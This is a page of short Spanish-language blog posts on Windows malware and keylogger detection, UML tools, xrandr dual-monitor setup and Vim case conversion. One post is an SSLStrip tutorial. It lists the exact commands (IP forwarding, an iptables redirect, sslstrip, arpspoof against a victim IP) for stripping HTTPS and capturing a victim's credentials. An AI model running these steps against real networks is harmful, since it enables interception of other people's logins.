¿Hay malware en mi Windows?

Buenass

leyendo el blog de pentester.es, muy bueno por cierto, tienen una entrada con la opinión de Jose Selvi sobre cómo detectar si sospechamos que tenemos algo en nuestro sistema.

Busca, Busca... Busca Malware bonito...

Los pasos son:

1. Apagar el equipo y montar el disco en otro sistema para evitar posibles alteraciones de rootkits.
2. Escaneo de antivirus
3. Búsqueda de ejecutables, no firmados por microsoft, con Sigcheck de Mark Russinovich: sigcheck -e -s "c:\\"
4. Centrarnos, en primera instancia en los directorios distintos a Archivos de programa porque ahí habrá bastantes ejecutables no fimados por microsoft.
5. Análisis de malware con los binarios listados
6. Y esta la añado yo: Paciencia

David

Detectando y eliminando Keyloggers en Windows

Buenas

en el blog de windowstecnico hay una entrada interesante y sencilla sobre detectar y eliminar Keyloggers.
Simplemente hace uso de las herramientas de SysInternals con ProcessMonitor - ProcessExplorer y Autoruns.

Recomendado!

David

SSLStrip fácil sencillo y ...

Buenass

si eres como yo, que habías retrasado la prueba de SSLStrip deja lo que estés haciendo y mira este video de Securitytube sobre SSLStrip o simplemente:

1. Descarga SSLstrip http://www.thoughtcrime.org/software/sslstrip/
2.  #>  echo "1" > /proc/sys/net/ipv4/ip_forward
3.  #>  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
4.  $> python sslstrip.py -w captura_datos_sniff
5.  #> arpspoof -i eth0 -t IP_Victima IP_router

Y tendrás a tu victima navegando sin SSL y además capturarás sus credenciales.

David

Simple Malware Analyzing

Buenass,

mediante el twitter de securitytube he visto un video donde enseñan de forma sencilla a analizar malware mediante el analisis del flujo de red y de la monitorización de los archivos creados:

Simple Malware Analyzing

David

Diagramas UML multiplataforma

Buenas,

necesito hacer ciertos diagramas UML como de casos de uso, de secuencia, de clases... Buscando por Interné he encontrado Violet UML Editor, que está desarrollado en Java por eso permite utilizarse en cualquier plataforma con máquina virtual Java.

Una característica que me gusta es que puedes copiar al portapapeles el diagrama que estes diseñando, para luego importarlo a Krita o Gimp.

Lo que no me gusta y sería fácil de implementar es que no puedes editar las flechas, es decir, no puedes ajustar los 'brazos' de las flechas para que no se crucen con las cajas.

David

Dual head, dos monitores sin clonar - actualizado

Buenas

haya por octubre de 2009 cuando puse dos monitores escribí el post sobre como poner en Ubuntu dos monitores en dual head. Sin embargo, no incluí en el comando la opción del refresco que es bastante importante porque no es lo mismo que te tome el refresco que quiera, en mi caso 60Hz ha estar con un refresco de 85Hz.

Para cambiarlo solo hay que añadir el modificador --rate, y la órden queda así:

$ xrandr --output VGA-0 --mode 1024x768 --right-of LVDS --rate 85Hz

He tomado el valor del refresco con el comando sin modificadores:
$ xrandr

Screen 0: minimum 320 x 200, current 2304 x 800, maximum 2304 x 800
VGA-0 connected 1024x768+1280+0 (normal left inverted right x axis y axis) 306mm x 230mm
   1024x768       85.0     75.0     70.1     60.0*
   832x624        74.6
   800x600       100.0     85.1     72.2     75.0     60.3
   640x480       100.0     85.0     75.0     72.8     59.9
   720x400        70.1
   640x350        70.1
LVDS connected 1280x800+0+0 (normal left inverted right x axis y axis) 331mm x 207mm
   1280x800       60.0*+   50.0
   1280x720       59.9
   1152x768       59.8
   1024x768       59.9
   800x600        59.9
   640x480        59.4



David

Vim: convierte mayusculas / minusculas de forma sencilla

Buenass,

necesitaba convertir de mayusculas a minusculas constantemente ciertas palabras por lo que intuía que vim tenía que tener una opción que lo automatizase y así es. En el blog de Flasheina hay un post muy breve donde explican cómo conseguirlo, éstos son los pasos sacados del post:

Convertir palabra a mayusculas:

gUw  <-- intuyo que U vendrá de Uppercase y w  de Word

Convertir palabra a minusculas:

guw

Si en vez de convertir una palabra, necesitamos convertir toda la línea se sustitye la 'w' por '$'.

Además, he creado una macro que introducía una cadena al inicio de la frase.

Gracias Flasheina,

David